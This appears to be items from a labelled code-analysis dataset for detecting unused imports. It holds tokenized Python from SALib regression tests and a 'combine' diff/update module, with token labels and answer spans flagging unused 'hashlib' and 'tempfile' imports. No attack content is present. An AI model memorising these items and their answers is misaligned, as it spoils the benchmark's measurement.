"'", "G1", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "salt", "elli", "_", "._", "sample_", "(_", "problem_", ",_", "10000_", ",_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Si", "_", "=_", "sob", "ol_", "._", "analyze_", "(_", "problem_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ",_", "parallel_", "=_", "True_", ",_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.55", "_", ",_", "0.44", "_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "ST", "'_", "]_", ",_", "[_", "0.55", "_", ",_", "0.44", "_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "1_", "]_", ",_", "[_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "sob", "ol", "\\u", "group", "s", "\\u", "dists_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "problem_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "vars", "'_", ":_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "names", "'_", ":_", "[_", "'", "x1", "'_", ",_", "'", "x2", "'_", ",_", "'", "x3", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bound", "s", "'_", ":_", "[_", "[_", "-_", "np_", "._", "pi_", ",_", "np_", "._", "pi_", "]_", ",_", "[_", "1.0_", ",_", "0.2_", "]_", ",_", "[_", "3_", ",_", "0.5_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "[_", "'", "G1", "'_", ",_", "'", "G2", "'_", ",_", "'", "G1", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dists", "'_", ":_", "[_", "'", "uni", "f", "'_", ",_", "'", "logn", "orm", "'_", ",_", "'", "triang", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "salt", "elli", "_", "._", "sample_", "(_", "problem_", ",_", "10000_", ",_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Si", "_", "=_", "sob", "ol_", "._", "analyze_", "(_", "problem_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ",_", "parallel_", "=_", "True_", ",_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.42", "7_", ",_", "0.57", "3_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "ST", "'_", "]_", ",_", "[_", "0.42", "8_", ",_", "0.57", "3_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "1_", "]_", ",_", "[_", "0.001_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "fast_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "fast", "\\u", "sampler_", "._", "sample_", "(_", "problem_", ",_", "10000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "fast_", "._", "analyze_", "(_", "problem_", ",_", "Y_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.31", "_", ",_", "0.44", "_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "ST", "'_", "]_", ",_", "[_", "0.55", "_", ",_", "0.44", "_", ",_", "0.24", "_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "dg", "sm_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "finite", "\\u", "diff_", "._", "sample_", "(_", "problem_", ",_", "10000_", ",_", "delta_", "=_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "dg", "sm_", "._", "analyze_", "(_", "problem_", ",_", "param", "\\u", "values_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "dg", "sm", "'_", "]_", ",_", "[_", "2.2", "29_", ",_", "7.0", "66_", ",_", "3.1", "80_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "delta_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "latin", "_", "._", "sample_", "(_", "problem_", ",_", "10000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "delta_", "._", "analyze_", "(_", "problem_", ",_", "param", "\\u", "values_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "resample", "s_", "=_", "10_", ",_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "delta", "'_", "]_", ",_", "[_", "0.21", "0_", ",_", "0.35", "8_", ",_", "0.15", "5_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.31", "_", ",_", "0.44", "_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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atter-ca/combine/combine/diff.py
[ { "content": "# Copyright (c) 2010 John Reese\n# Licensed under the MIT license\n\nimport os\nfrom os import path\n\nfrom fnmatch import fnmatch\nimport filecmp\nimport hashlib\nfrom platform import system\nimport tempfile\n\nfrom combine import Config, Manifest, Package, File\nfrom combine.hash import sha1\nfrom combine.formats import extension, slashes\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Diff:\n\n", "metadata": "root.Diff", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def _walk(self, oldpath, newpath):\n oldfiles = []\n newfiles = []\n\n includes = eval(Config.get(\"actions\", \"include\"))\n excludes = eval(Config.get(\"actions\", \"exclude\"))\n\n for root, dirs, files in os.walk(oldpath):\n relpath = path.relpath(root, oldpath)\n\n if relpath == \".\":\n relpath = \"\"\n\n for filename in files:\n filepath = path.join(relpath, filename)\n\n if (any(map(lambda glob: fnmatch(filepath, glob), excludes))):\n continue\n if (any(map(lambda glob: fnmatch(filepath, glob), includes))):\n oldfiles.append(filepath)\n\n for root, dirs, files in os.walk(newpath):\n relpath = path.relpath(root, newpath)\n\n if relpath == \".\":\n relpath = \"\"\n\n for filename in files:\n filepath = path.join(relpath, filename)\n\n if (any(map(lambda glob: fnmatch(filepath, glob), excludes))):\n continue\n if (any(map(lambda glob: fnmatch(filepath, glob), includes))):\n newfiles.append(filepath)\n\n unmodified, modified, removed = filecmp.cmpfiles(oldpath, newpath,\n oldfiles, shallow=False)\n unmodified, modified, added = filecmp.cmpfiles(oldpath, newpath,\n newfiles, shallow=False)\n\n unmodified = slashes(unmodified)\n modified = slashes(modified)\n added = slashes(added)\n removed = slashes(removed)\n\n return unmodified, modified, added, removed", "metadata": "root.Diff._walk", "header": "['class', 'Diff', ':', '___EOS___']", "index": 18 }, { "content": " def generate_update(self, currentver, currentpath, updatever, updatepath,\n platform=None):\n \"\"\"\n Given the current version/path and update version/path, generate a\n manifest, package, and individual update files in the appropriate\n locations and formats as specified by the configuration files.\n \"\"\"\n\n manifest = Manifest()\n manifest.add_property(\"current-version\", currentver)\n manifest.add_property(\"update-version\", updatever)\n\n if platform is None:\n platform = system()\n\n unmodified, modified, added, removed = self._walk(currentpath, updatepath)\n\n fileformat = Config.get(\"formats\", \"file\")\n archiveformat = Config.get(\"formats\", \"archive\")\n\n packageextension = extension(archiveformat, dot=False)\n packagepath = Config.get(\"paths\", \"package\",\n vars={\"platform\": platform,\n \"current_version\": currentver,\n \"update_version\": updatever,\n \"extension\": packageextension,\n })\n\n # build the package archive\n with Package() as package:\n\n for filename in unmodified:\n fullname = filename + extension(fileformat)\n fulluri = Config.get(\"uris\", \"file\",\n vars={\"platform\": platform,\n \"update_version\": updatever,\n \"filename\": fullname,\n })\n\n filepath = Config.get(\"paths\", \"file\",\n vars={\"platform\": platform,\n \"update_version\": updatever,\n \"filename\": fullname,\n })\n with File(filepath, mode=\"w\") as fh:\n fh.compress(path.join(updatepath, filename))\n\n manifest.add_action({\n \"action\": \"verify\",\n \"filename\": filename,\n \"sha1-before\": sha1(path.join(updatepath, filename)),\n \"full-uri\": fulluri,\n \"full-format\": fileformat,\n })\n\n for filename in modified:\n fullname = filename + extension(fileformat)\n fulluri = Config.get(\"uris\", \"file\",\n vars={\"platform\": platform,\n \"update_version\": updatever,\n \"filename\": fullname,\n })\n\n filepath = Config.get(\"paths\", \"file\",\n vars={\"platform\": platform,\n \"update_version\": updatever,\n \"filename\": fullname,\n })\n with File(filepath, mode=\"w\") as fh:\n fh.compress(path.join(updatepath, filename))\n\n with package.open(filename, \"w\") as fh:\n fh.compress(path.join(updatepath, filename))\n\n manifest.add_action({\n \"action\": \"replace\",\n \"filename\": filename,\n \"sha1-before\": sha1(path.join(currentpath, filename)),\n \"sha1-after\": sha1(path.join(updatepath, filename)),\n \"full-uri\": \"package:///\" + filename,\n \"full-format\": \"raw\",\n })\n\n for filename in added:\n with package.open(filename, \"w\") as fh:\n fh.compress(path.join(updatepath, filename))\n\n manifest.add_action({\n \"action\": \"create\",\n \"filename\": filename,\n \"sha1-after\": sha1(path.join(updatepath, filename)),\n \"full-uri\": \"package:///\" + filename,\n \"full-format\": \"raw\",\n })\n\n for filename in removed:\n manifest.add_action({\n \"action\": \"delete\",\n \"filename\": filename,\n })\n\n package.write(packagepath)\n\n manifest.add_property(\"package-sha1\", sha1(packagepath))\n manifest.add_property(\"package-format\", archiveformat)\n manifest.add_property(\"package-uri\", Config.get(\"uris\", \"package\",\n vars={\"platform\": platform,\n \"current_version\": currentver,\n \"update_version\": updatever,\n \"extension\": packageextension,\n }))\n\n manifestpath = Config.get(\"paths\", \"manifest\",\n vars={\"platform\": platform,\n \"current_version\": currentver,\n })\n\n with File(manifestpath, mode=\"w\") as mh:\n mh.write(manifest.to_yaml())", "metadata": "root.Diff.generate_update", "header": "['class', 'Diff', ':', '___EOS___']", "index": 65 } ]
[ { "span": "import hashlib", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 14 }, { "span": "import tempfile", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", " ", "Joh", "n", " ", "Re", "ese", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "MIT", " ", "license_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "os_", "import_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "fnmatch_", "import_", "fnmatch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "filec", "mp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "platform_", "import_", "system_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "combine_", "import_", "Config_", ",_", "Manifest", "_", ",_", "Package_", ",_", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "combine_", "._", "hash_", "import_", "sha1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "combine_", "._", "formats_", "import_", "extension_", ",_", "slash", "es_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Diff_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Diff_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "walk_", "(_", "self_", ",_", "oldp", "ath_", ",_", "newpath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newfile", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "includes_", "=_", "eval_", "(_", "Config_", "._", "get_", "(_", "\"", "action", "s", "\"_", ",_", "\"", "include", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "excludes_", "=_", "eval_", "(_", "Config_", "._", "get_", "(_", "\"", "action", "s", "\"_", ",_", "\"", "exclu", "de", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "root_", ",_", "dirs_", ",_", "files_", "in_", "os_", "._", "walk_", "(_", "oldp", "ath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "path_", "._", "relpath_", "(_", "root_", ",_", "oldp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "relpath_", "==_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filepath_", "=_", "path_", "._", "join_", "(_", "relpath_", ",_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "any_", "(_", "map_", "(_", "lambda_", "glob_", ":_", "fnmatch_", "(_", "filepath_", ",_", "glob_", ")_", ",_", "excludes_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "any_", "(_", "map_", "(_", "lambda_", "glob_", ":_", "fnmatch_", "(_", "filepath_", ",_", "glob_", ")_", ",_", "includes_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "old", "files_", "._", "append_", "(_", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "root_", ",_", "dirs_", ",_", "files_", "in_", "os_", "._", "walk_", "(_", "newpath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "path_", "._", "relpath_", "(_", "root_", ",_", "newpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "relpath_", "==_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filepath_", "=_", "path_", "._", "join_", "(_", "relpath_", ",_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "any_", "(_", "map_", "(_", "lambda_", "glob_", ":_", "fnmatch_", "(_", "filepath_", ",_", "glob_", ")_", ",_", "excludes_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "any_", "(_", "map_", "(_", "lambda_", "glob_", ":_", "fnmatch_", "(_", "filepath_", ",_", "glob_", ")_", ",_", "includes_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "newfile", "s_", "._", "append_", "(_", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unmo", "difi", "ed_", ",_", "modified_", ",_", "removed_", "=_", "filec", "mp_", "._", "cmp", "files_", "(_", "oldp", "ath_", ",_", "newpath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "old", "files_", ",_", "shallow", "_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unmo", "difi", "ed_", ",_", "modified_", ",_", "added_", "=_", "filec", "mp_", "._", "cmp", "files_", "(_", "oldp", "ath_", ",_", "newpath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "newfile", "s_", ",_", "shallow", "_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "unmo", "difi", "ed_", "=_", "slash", "es_", "(_", "unmo", "difi", "ed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modified_", "=_", "slash", "es_", "(_", "modified_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "added_", "=_", "slash", "es_", "(_", "added_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "removed_", "=_", "slash", "es_", "(_", "removed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "unmo", "difi", "ed_", ",_", "modified_", ",_", "added_", ",_", "removed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Diff_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "update_", "(_", "self_", ",_", "current", "ver_", ",_", "current", "path_", ",_", "update", "ver_", ",_", "update", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "platform_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Give", "n", " ", "the", " ", "current", " ", "version", "/", "path", " ", "and", " ", "update", " ", "version", "/", "path", ",", " ", "generat", "e", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "manifest", ",", " ", "package", ",", " ", "and", " ", "individual", " ", "update", " ", "files", " ", "in", " ", "the", " ", "appropr", "iate", "\\", "10", ";", " ", " ", " ", " ", "location", "s", " ", "and", " ", "formats", " ", "as", " ", "specified", " ", "by", " ", "the", " ", "configura", "tion", " ", "files", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "manifest_", "=_", "Manifest", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "._", "add", "\\u", "property_", "(_", "\"", "current", "-", "version", "\"_", ",_", "current", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "._", "add", "\\u", "property_", "(_", "\"", "update", "-", "version", "\"_", ",_", "update", "ver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "platform_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "platform_", "=_", "system_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unmo", "difi", "ed_", ",_", "modified_", ",_", "added_", ",_", "removed_", "=_", "self_", "._", "\\u", "walk_", "(_", "current", "path_", ",_", "update", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filef", "ormat_", "=_", "Config_", "._", "get_", "(_", "\"", "formats", "\"_", ",_", "\"", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive", "format_", "=_", "Config_", "._", "get_", "(_", "\"", "formats", "\"_", ",_", "\"", "archive", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "package", "extension_", "=_", "extension_", "(_", "archive", "format_", ",_", "dot_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "package", "path_", "=_", "Config_", "._", "get_", "(_", "\"", "path", "s", "\"_", ",_", "\"", "package", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "current", "\\u", "version", "\"_", ":_", "current", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "extensi", "on", "\"_", ":_", "package", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "the", " ", "package", " ", "archive_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "Package_", "(_", ")_", "as_", "package_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 